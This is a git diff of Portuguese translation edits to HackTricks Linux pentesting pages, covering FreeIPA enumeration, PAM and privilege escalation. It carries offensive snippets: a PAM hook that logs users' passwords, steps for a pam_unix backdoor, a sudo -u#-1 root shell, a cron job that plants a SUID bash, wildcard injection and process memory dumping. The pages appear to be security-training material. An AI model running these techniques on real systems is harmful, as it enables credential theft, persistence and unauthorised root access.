ferramenta em** [**https://github.com/arget13/DDexec**](https://github.com/arget13/DDexec) ## EverythingExec -Existem várias alternativas para `dd`, uma das quais, `tail`, é atualmente o programa padrão usado para `lseek()` através do arquivo `mem` (que era o único propósito para usar `dd`). Tais alternativas são: +Existem várias alternativas ao `dd`, uma das quais, `tail`, é atualmente o programa padrão usado para `lseek()` através do arquivo `mem` (que era o único propósito de usar `dd`). Essas alternativas são: ```bash tail hexdump cmp xxd ``` -Ao definir a variável `SEEKER`, você pode alterar o seeker usado, _por exemplo_: +Definindo a variável `SEEKER`, você pode alterar o seeker usado, _e. g._: ```bash SEEKER=cmp bash ddexec.sh ls -l <<< $(base64 -w0 /bin/ls) ``` -Se encontrar outro buscador válido não implementado no script, ainda pode usá-lo definindo a variável `SEEKER_ARGS`: +Se você encontrar outro seeker válido que não esteja implementado no script, você ainda pode usá-lo definindo a variável `SEEKER_ARGS`: ```bash SEEKER=xxd SEEKER_ARGS='-s $offset' zsh ddexec.sh ls -l <<< $(base64 -w0 /bin/ls) ``` @@ -97,16 +97,16 @@ Bloqueie isso, EDRs. * [https://github.com/arget13/DDexec](https://github.com/arget13/DDexec) {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} diff --git a/linux-hardening/freeipa-pentesting.md b/linux-hardening/freeipa-pentesting.md index cba218dae..04cdbcdea 100644 --- a/linux-hardening/freeipa-pentesting.md +++ b/linux-hardening/freeipa-pentesting.md @@ -1,56 +1,56 @@ # FreeIPA Pentesting {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -## Informações Básicas +## Basic Information -FreeIPA é uma **alternativa** de código aberto ao **Active Directory** da Microsoft, principalmente para ambientes **Unix**. Ele combina um **diretório LDAP** completo com um Centro de Distribuição de Chaves **Kerberos** da MIT para gerenciamento semelhante ao Active Directory. Utilizando o **Sistema de Certificados** Dogtag para gerenciamento de certificados CA e RA, suporta autenticação **multifatorial**, incluindo cartões inteligentes. O SSSD está integrado para processos de autenticação Unix. +FreeIPA é uma **alternativa** de código aberto ao **Active Directory** da Microsoft, principalmente para ambientes **Unix**. Ele combina um **diretório LDAP** completo com um Centro de Distribuição de Chaves **Kerberos** do MIT para gerenciamento semelhante ao Active Directory. Utilizando o **Sistema de Certificados** Dogtag para gerenciamento de certificados CA e RA, suporta autenticação **multifatorial**, incluindo cartões inteligentes. O SSSD está integrado para processos de autenticação Unix. -## Impressões Digitais +## Fingerprints -### Arquivos e Variáveis de Ambiente +### Files & Environment Variables * O arquivo em `/etc/krb5.conf` é onde as informações do cliente Kerberos, necessárias para o registro no domínio, são armazenadas. Isso inclui locais de KDCs e servidores administrativos, configurações padrão e mapeamentos. * As configurações padrão para clientes e servidores IPA são definidas no arquivo localizado em `/etc/ipa/default.conf`. * Hosts dentro do domínio devem ter um arquivo `krb5.keytab` em `/etc/krb5.keytab` para processos de autenticação. * Várias variáveis de ambiente (`KRB5CCNAME`, `KRB5_KTNAME`, `KRB5_CONFIG`, `KRB5_KDC_PROFILE`, `KRB5RCACHETYPE`, `KRB5RCACHEDIR`, `KRB5_TRACE`, `KRB5_CLIENT_KTNAME`, `KPROP_PORT`) são usadas para apontar para arquivos e configurações específicas relevantes para a autenticação Kerberos. -### Binários +### Binaries Ferramentas como `ipa`, `kdestroy`, `kinit`, `klist`, `kpasswd`, `ksu`, `kswitch` e `kvno` são centrais para gerenciar domínios FreeIPA, lidando com tickets Kerberos, alterando senhas e adquirindo tickets de serviço, entre outras funcionalidades. -### Rede +### Network Uma ilustração é fornecida para representar uma configuração típica de servidor FreeIPA. -## Autenticação +## Authentication A autenticação no FreeIPA, aproveitando o **Kerberos**, espelha a do **Active Directory**. O acesso aos recursos do domínio requer um ticket Kerberos válido, que pode ser armazenado em vários locais dependendo da configuração do domínio FreeIPA. -### **Arquivos de Ticket CCACHE** +### **CCACHE Ticket Files** Os arquivos CCACHE, armazenados tipicamente em **`/tmp`** com permissões **600**, são formatos binários para armazenar credenciais Kerberos, importantes para autenticação sem a senha em texto claro do usuário devido à sua portabilidade. A análise de um ticket CCACHE pode ser feita usando o comando `klist`, e reutilizar um Ticket CCACHE válido envolve exportar `KRB5CCNAME` para o caminho do arquivo do ticket. -### **Keyring Unix** +### **Unix Keyring** Alternativamente, os Tickets CCACHE podem ser armazenados no keyring do Linux, oferecendo mais controle sobre o gerenciamento de tickets. O escopo do armazenamento de tickets varia (`KEYRING:name`, `KEYRING:process:name`, `KEYRING:thread:name`, `KEYRING:session:name`, `KEYRING:persistent:uidnumber`), com `klist` capaz de analisar essas informações para o usuário. No entanto, reutilizar um Ticket CCACHE do keyring Unix pode apresentar desafios, com ferramentas como **Tickey** disponíveis para extrair tickets Kerberos. ### Keytab -Os arquivos keytab, contendo princípios Kerberos e chaves criptografadas, são críticos para obter tickets de concessão de tickets válidos (TGT) sem precisar da senha do princípio. A análise e reutilização de credenciais de arquivos keytab podem ser facilmente realizadas com utilitários como `klist` e scripts como **KeytabParser**. +Os arquivos keytab, contendo principais Kerberos e chaves criptografadas, são críticos para obter tickets de concessão de tickets válidos (TGT) sem precisar da senha do principal. A análise e reutilização de credenciais de arquivos keytab podem ser facilmente realizadas com utilitários como `klist` e scripts como **KeytabParser**. ### Cheatsheet @@ -60,17 +60,17 @@ Você pode encontrar mais informações sobre como usar tickets no linux no segu [linux-active-directory.md](privilege-escalation/linux-active-directory.md) {% endcontent-ref %} -## Enumeração +## Enumeration {% hint style="warning" %} Você pode realizar a **enumeração** via **ldap** e outras ferramentas **binárias**, ou **conectando-se à página da web na porta 443 do servidor FreeIPA**. {% endhint %} -### Hosts, Usuários e Grupos +### Hosts, Users, and Groups É possível criar **hosts**, **usuários** e **grupos**. Hosts e usuários são organizados em contêineres chamados “**Grupos de Hosts**” e “**Grupos de Usuários**”, respectivamente. Estes são semelhantes às **Unidades Organizacionais** (OU). -Por padrão no FreeIPA, o servidor LDAP permite **vínculos anônimos**, e uma grande quantidade de dados é enumerável **não autenticada**. Isso pode enumerar todos os dados disponíveis não autenticados: +Por padrão, no FreeIPA, o servidor LDAP permite **vínculos anônimos**, e uma grande quantidade de dados é enumerável **não autenticada**. Isso pode enumerar todos os dados disponíveis não autenticados: ``` ldapsearch -x ``` @@ -151,7 +151,7 @@ ipa sudorule-show --all ``` ### Controle de Acesso Baseado em Funções -Uma **função** é composta por vários **privilégios**, cada um dos quais abrange uma coleção de **permissões**. Essas funções podem ser atribuídas a Usuários, Grupos de Usuários, **Hosts**, Grupos de Hosts e Serviços. Por exemplo, considere a função padrão “Administrador de Usuários” no FreeIPA para exemplificar essa estrutura. +Uma **função** é composta por várias **privilegios**, cada um dos quais abrange uma coleção de **permissões**. Essas funções podem ser atribuídas a Usuários, Grupos de Usuários, **Hosts**, Grupos de Hosts e Serviços. Por exemplo, considere a função padrão “Administrador de Usuários” no FreeIPA para exemplificar essa estrutura. A função `Administrador de Usuários` tem esses privilégios: diff --git a/linux-hardening/linux-environment-variables.md b/linux-hardening/linux-environment-variables.md index f03b34e73..1d3dbbb1e 100644 --- a/linux-hardening/linux-environment-variables.md +++ b/linux-hardening/linux-environment-variables.md @@ -10,7 +10,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} @@ -110,18 +110,18 @@ Usuário regular: ![](<../.gitbook/assets/image (740).png>) -Um, dois e três trabalhos em segundo plano: +Um, dois e três jobs em segundo plano: ![](<../.gitbook/assets/image (145).png>) -Um trabalho em segundo plano, um parado e o último comando não terminou corretamente: +Um job em segundo plano, um parado e o último comando não terminou corretamente: ![](<../.gitbook/assets/image (715).png>) {% hint style="success" %} -Aprenda e pratique AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -129,7 +129,7 @@ Aprenda e pratique GCP Hacking: {% endhint %} diff --git a/linux-hardening/linux-post-exploitation/README.md b/linux-hardening/linux-post-exploitation/README.md index d9a5c1ae5..2077e6471 100644 --- a/linux-hardening/linux-post-exploitation/README.md +++ b/linux-hardening/linux-post-exploitation/README.md @@ -1,23 +1,23 @@ -# Pós-Exploração no Linux +# Linux Post-Exploitation {% hint style="success" %} -Aprenda e pratique Hacking na AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking no GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github. +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} -## Capturando Senhas de Logon com PAM +## Capturando Senhas de Login com PAM -Vamos configurar um módulo PAM para registrar cada senha que cada usuário utiliza para fazer login. Se você não sabe o que é PAM, confira: +Vamos configurar um módulo PAM para registrar cada senha que cada usuário usa para fazer login. Se você não sabe o que é PAM, confira: {% content-ref url="pam-pluggable-authentication-modules.md" %} [pam-pluggable-authentication-modules.md](pam-pluggable-authentication-modules.md) @@ -26,11 +26,11 @@ Vamos configurar um módulo PAM para registrar cada senha que cada usuário util **Para mais detalhes, confira o [post original](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Este é apenas um resumo: **Visão Geral da Técnica:** -Os Módulos de Autenticação Pluggable (PAM) oferecem flexibilidade na gestão da autenticação em sistemas baseados em Unix. Eles podem aumentar a segurança personalizando os processos de login, mas também representam riscos se forem mal utilizados. Este resumo descreve uma técnica para capturar credenciais de login usando o PAM, juntamente com estratégias de mitigação. +Módulos de Autenticação Pluggable (PAM) oferecem flexibilidade na gestão de autenticação em sistemas baseados em Unix. Eles podem aumentar a segurança personalizando processos de login, mas também apresentam riscos se mal utilizados. Este resumo descreve uma técnica para capturar credenciais de login usando PAM, juntamente com estratégias de mitigação. **Capturando Credenciais:** - Um script bash chamado `toomanysecrets.sh` é criado para registrar tentativas de login, capturando a data, nome de usuário (`$PAM_USER`), senha (via stdin) e IP do host remoto (`$PAM_RHOST`) em `/var/log/toomanysecrets.log`. -- O script é tornando executável e integrado na configuração do PAM (`common-auth`) usando o módulo `pam_exec.so` com opções para rodar silenciosamente e expor o token de autenticação para o script. +- O script é tornado executável e integrado à configuração do PAM (`common-auth`) usando o módulo `pam_exec.so` com opções para rodar silenciosamente e expor o token de autenticação ao script. - A abordagem demonstra como um host Linux comprometido pode ser explorado para registrar credenciais discretamente. ```bash #!/bin/sh @@ -41,39 +41,39 @@ sudo nano /etc/pam.d/common-auth # Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh sudo chmod 700 /usr/local/bin/toomanysecrets.sh ``` -### Instalando Backdoor no PAM +### Backdooring PAM **Para mais detalhes, consulte o [post original](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Este é apenas um resumo: -O Módulo de Autenticação Plugável (PAM) é um sistema usado no Linux para autenticação de usuários. Ele opera em três conceitos principais: **nome de usuário**, **senha** e **serviço**. Os arquivos de configuração para cada serviço estão localizados no diretório `/etc/pam.d/`, onde bibliotecas compartilhadas lidam com a autenticação. +O Módulo de Autenticação Pluggable (PAM) é um sistema usado no Linux para autenticação de usuários. Ele opera em três conceitos principais: **nome de usuário**, **senha** e **serviço**. Os arquivos de configuração para cada serviço estão localizados no diretório `/etc/pam.d/`, onde bibliotecas compartilhadas gerenciam a autenticação. -**Objetivo**: Modificar o PAM para permitir autenticação com uma senha específica, contornando a senha real do usuário. Isso é especialmente focado na biblioteca compartilhada `pam_unix.so` usada pelo arquivo `common-auth`, que é incluído por quase todos os serviços para verificação de senha. +**Objetivo**: Modificar o PAM para permitir a autenticação com uma senha específica, contornando a senha real do usuário. Isso é particularmente focado na biblioteca compartilhada `pam_unix.so` usada pelo arquivo `common-auth`, que é incluído por quase todos os serviços para verificação de senha. ### Passos para Modificar `pam_unix.so`: -1. **Localize a Diretiva de Autenticação** no arquivo `common-auth`: +1. **Localizar a Diretiva de Autenticação** no arquivo `common-auth`: - A linha responsável por verificar a senha de um usuário chama `pam_unix.so`. -2. **Modifique o Código-Fonte**: -- Adicione uma declaração condicional no arquivo de origem `pam_unix_auth.c` que concede acesso se uma senha predefinida for usada, caso contrário, ele prossegue com o processo de autenticação usual. -3. **Recompile e Substitua** a biblioteca `pam_unix.so` modificada no diretório apropriado. +2. **Modificar o Código Fonte**: +- Adicione uma instrução condicional no arquivo de código fonte `pam_unix_auth.c` que concede acesso se uma senha predefinida for usada; caso contrário, prossegue com o processo de autenticação usual. +3. **Recompilar e Substituir** a biblioteca `pam_unix.so` modificada no diretório apropriado. 4. **Teste**: -- O acesso é concedido em vários serviços (login, ssh, sudo, su, protetor de tela) com a senha predefinida, enquanto os processos de autenticação normais permanecem inalterados. +- O acesso é concedido em vários serviços (login, ssh, sudo, su, protetor de tela) com a senha predefinida, enquanto os processos normais de autenticação permanecem inalterados. {% hint style="info" %} Você pode automatizar esse processo com [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) {% endhint %} {% hint style="success" %} -Aprenda e pratique Hacking na AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking no GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} diff --git a/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md b/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md index 874300ce2..71fbc4fc5 100644 --- a/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md +++ b/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md @@ -56,9 +56,9 @@ Os controles ditam a resposta do módulo ao sucesso ou falha, influenciando o pr * **Sufficient**: O sucesso ignora as verificações do restante do mesmo reino, a menos que um módulo subsequente falhe. * **Optional**: Causa falha apenas se for o único módulo na pilha. -#### Cenário de Exemplo +#### Exemplo de Cenário -Em uma configuração com múltiplos módulos de auth, o processo segue uma ordem rigorosa. Se o módulo `pam_securetty` encontrar o terminal de login não autorizado, logins de root são bloqueados, mas todos os módulos ainda são processados devido ao seu status de "required". O `pam_env` define variáveis de ambiente, potencialmente ajudando na experiência do usuário. Os módulos `pam_ldap` e `pam_unix` trabalham juntos para autenticar o usuário, com o `pam_unix` tentando usar uma senha fornecida anteriormente, aumentando a eficiência e flexibilidade nos métodos de autenticação. +Em uma configuração com múltiplos módulos de auth, o processo segue uma ordem rigorosa. Se o módulo `pam_securetty` encontrar o terminal de login não autorizado, logins de root são bloqueados, mas todos os módulos ainda são processados devido ao seu status de "required". O `pam_env` define variáveis de ambiente, potencialmente ajudando na experiência do usuário. Os módulos `pam_ldap` e `pam_unix` trabalham juntos para autenticar o usuário, com `pam_unix` tentando usar uma senha previamente fornecida, aumentando a eficiência e flexibilidade nos métodos de autenticação. ### Referências diff --git a/linux-hardening/linux-privilege-escalation-checklist.md b/linux-hardening/linux-privilege-escalation-checklist.md index 7a7b98e32..2f63746fe 100644 --- a/linux-hardening/linux-privilege-escalation-checklist.md +++ b/linux-hardening/linux-privilege-escalation-checklist.md @@ -63,7 +63,7 @@ Fique informado sobre as novas recompensas de bugs lançadas e atualizações cr * [ ] **Monitore processos** e verifique se algum processo interessante está sendo executado com frequência. * [ ] Você pode **ler** alguma **memória de processo** interessante (onde senhas poderiam estar salvas)? -### [Tarefas/Cron agendadas?](privilege-escalation/#scheduled-jobs) +### [Tarefas Agendadas/Cron?](privilege-escalation/#scheduled-jobs) * [ ] O [**PATH**](privilege-escalation/#cron-path) está sendo modificado por algum cron e você pode **escrever** nele? * [ ] Algum [**caractere curinga**](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection) em uma tarefa cron? @@ -111,11 +111,11 @@ Fique informado sobre as novas recompensas de bugs lançadas e atualizações cr ### [Comandos SUDO e SUID](privilege-escalation/#sudo-and-suid) -* [ ] Você pode executar **qualquer comando com sudo**? Você pode usá-lo para LER, ESCREVER ou EXECUTAR qualquer coisa como root? ([**GTFOBins**](https://gtfobins.github.io)) +* [ ] Você pode executar **qualquer comando com sudo**? Você pode usá-lo para LER, ESCREVER ou EXECUTAR algo como root? ([**GTFOBins**](https://gtfobins.github.io)) * [ ] Algum **binário SUID explorável**? ([**GTFOBins**](https://gtfobins.github.io)) -* [ ] Os [**comandos sudo** são **limitados** por **caminho**? você pode **contornar** as restrições](privilege-escalation/#sudo-execution-bypassing-paths)? -* [ ] [**Binário Sudo/SUID sem caminho indicado**](privilege-escalation/#sudo-command-suid-binary-without-command-path)? -* [ ] [**Binário SUID especificando caminho**](privilege-escalation/#suid-binary-with-command-path)? Contornar +* [ ] Os [**comandos sudo** são **limitados** por **path**? você pode **contornar** as restrições](privilege-escalation/#sudo-execution-bypassing-paths)? +* [ ] [**Binário Sudo/SUID sem path indicado**](privilege-escalation/#sudo-command-suid-binary-without-command-path)? +* [ ] [**Binário SUID especificando path**](privilege-escalation/#suid-binary-with-command-path)? Contornar * [ ] [**Vuln LD\_PRELOAD**](privilege-escalation/#ld_preload) * [ ] [**Falta de biblioteca .so em binário SUID**](privilege-escalation/#suid-binary-so-injection) de uma pasta gravável? * [ ] [**Tokens SUDO disponíveis**](privilege-escalation/#reusing-sudo-tokens)? [**Você pode criar um token SUDO**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)? @@ -147,7 +147,7 @@ Fique informado sobre as novas recompensas de bugs lançadas e atualizações cr * [ ] **Arquivos passwd/shadow** - Ler dados sensíveis? Escrever para privesc? * [ ] **Verifique pastas comumente interessantes** em busca de dados sensíveis * [ ] **Localização/Arquivos de propriedade estranha,** você pode ter acesso ou alterar arquivos executáveis -* [ ] **Modificado** nos últimos minutos +* [ ] **Modificados** nos últimos minutos * [ ] **Arquivos de DB Sqlite** * [ ] **Arquivos ocultos** * [ ] **Scripts/Binários no PATH** diff --git a/linux-hardening/privilege-escalation/README.md b/linux-hardening/privilege-escalation/README.md index d9febc0e9..c9899836d 100644 --- a/linux-hardening/privilege-escalation/README.md +++ b/linux-hardening/privilege-escalation/README.md @@ -6,11 +6,11 @@ Aprenda e pratique Hacking GCP: -Support HackTricks +Suporte ao HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** -* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} @@ -58,7 +58,7 @@ Ferramentas que podem ajudar a procurar por exploits de kernel são: [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ [linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute NO vítima, apenas verifica exploits para kernel 2.x) -Sempre **pesquise a versão do kernel no Google**, talvez a sua versão do kernel esteja escrita em algum exploit de kernel e então você terá certeza de que esse exploit é válido. +Sempre **pesquise a versão do kernel no Google**, talvez sua versão do kernel esteja escrita em algum exploit de kernel e então você terá certeza de que esse exploit é válido. ### CVE-2016-5195 (DirtyCow) @@ -88,7 +88,7 @@ sudo -u#-1 /bin/bash ``` ### Dmesg signature verification failed -Verifique a **smasher2 box do HTB** para um **exemplo** de como essa vulnerabilidade poderia ser explorada. +Verifique a **caixa smasher2 do HTB** para um **exemplo** de como essa vulnerabilidade pode ser explorada. ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -235,7 +235,7 @@ done #### /proc/$pid/maps & /proc/$pid/mem -Para um dado ID de processo, **maps mostra como a memória está mapeada dentro do espaço de endereço virtual desse processo**; também mostra as **permissões de cada região mapeada**. O **mem** pseudo arquivo **expondo a memória dos processos**. A partir do arquivo **maps**, sabemos quais **regiões de memória são legíveis** e seus offsets. Usamos essas informações para **procurar no arquivo mem e despejar todas as regiões legíveis** em um arquivo. +Para um determinado ID de processo, **maps mostra como a memória está mapeada dentro do espaço de endereço virtual desse processo**; também mostra as **permissões de cada região mapeada**. O **mem** pseudo arquivo **expondo a memória dos processos**. A partir do arquivo **maps**, sabemos quais **regiões de memória são legíveis** e seus offsets. Usamos essas informações para **procurar no arquivo mem e despejar todas as regiões legíveis** em um arquivo. ```bash procdump() ( @@ -354,13 +354,13 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron usando um script com um caractere curinga (Injeção de Caractere Curioso) +### Cron usando um script com um curinga (Injeção de Curinga) Se um script executado pelo root tiver um “**\***” dentro de um comando, você pode explorar isso para fazer coisas inesperadas (como privesc). Exemplo: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Se o caractere curinga for precedido por um caminho como** _**/some/path/\***_ **, não é vulnerável (mesmo** _**./\***_ **não é).** +**Se o caractere curinga for precedido de um caminho como** _**/some/path/\***_ **, não é vulnerável (mesmo** _**./\***_ **não é).** Leia a página a seguir para mais truques de exploração de caracteres curinga: @@ -405,7 +405,7 @@ Por exemplo, crie seu backdoor dentro do arquivo .service com **`ExecStart=/tmp/ ### Binários de serviço graváveis -Tenha em mente que se você tiver **permissões de escrita sobre binários sendo executados por serviços**, você pode alterá-los para backdoors, de modo que quando os serviços forem re-executados, os backdoors serão executados. +Tenha em mente que se você tiver **permissões de gravação sobre binários sendo executados por serviços**, você pode alterá-los para backdoors, de modo que quando os serviços forem re-executados, os backdoors serão executados. ### PATH do systemd - Caminhos Relativos @@ -425,7 +425,7 @@ Então, crie um **executável** com o **mesmo nome que o binário do caminho rel ## **Temporizadores** -**Temporizadores** são arquivos de unidade do systemd cujo nome termina em `**.timer**` que controlam arquivos ou eventos `**.service**`. **Temporizadores** podem ser usados como uma alternativa ao cron, pois têm suporte embutido para eventos de tempo de calendário e eventos de tempo monotônico e podem ser executados de forma assíncrona. +**Temporizadores** são arquivos de unidade systemd cujo nome termina em `**.timer**` que controlam arquivos ou eventos `**.service**`. **Temporizadores** podem ser usados como uma alternativa ao cron, pois têm suporte embutido para eventos de tempo de calendário e eventos de tempo monótono e podem ser executados de forma assíncrona. Você pode enumerar todos os temporizadores com: ```bash @@ -466,15 +466,15 @@ Os sockets podem ser configurados usando arquivos `.socket`. **Saiba mais sobre sockets com `man systemd.socket`.** Dentro deste arquivo, vários parâmetros interessantes podem ser configurados: * `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Essas opções são diferentes, mas um resumo é usado para **indicar onde ele vai escutar** o socket (o caminho do arquivo de socket AF_UNIX, o IPv4/6 e/ou número da porta para escutar, etc.) -* `Accept`: Aceita um argumento booleano. Se **verdadeiro**, uma **instância de serviço é gerada para cada conexão recebida** e apenas o socket de conexão é passado para ele. Se **falso**, todos os sockets de escuta são **passados para a unidade de serviço iniciada**, e apenas uma unidade de serviço é gerada para todas as conexões. Este valor é ignorado para sockets de datagrama e FIFOs onde uma única unidade de serviço lida incondicionalmente com todo o tráfego recebido. **O padrão é falso**. Por razões de desempenho, é recomendado escrever novos daemons apenas de uma maneira que seja adequada para `Accept=no`. +* `Accept`: Aceita um argumento booleano. Se **verdadeiro**, uma **instância de serviço é criada para cada conexão recebida** e apenas o socket de conexão é passado para ele. Se **falso**, todos os sockets de escuta são **passados para a unidade de serviço iniciada**, e apenas uma unidade de serviço é criada para todas as conexões. Este valor é ignorado para sockets de datagrama e FIFOs onde uma única unidade de serviço lida incondicionalmente com todo o tráfego recebido. **O padrão é falso**. Por razões de desempenho, é recomendado 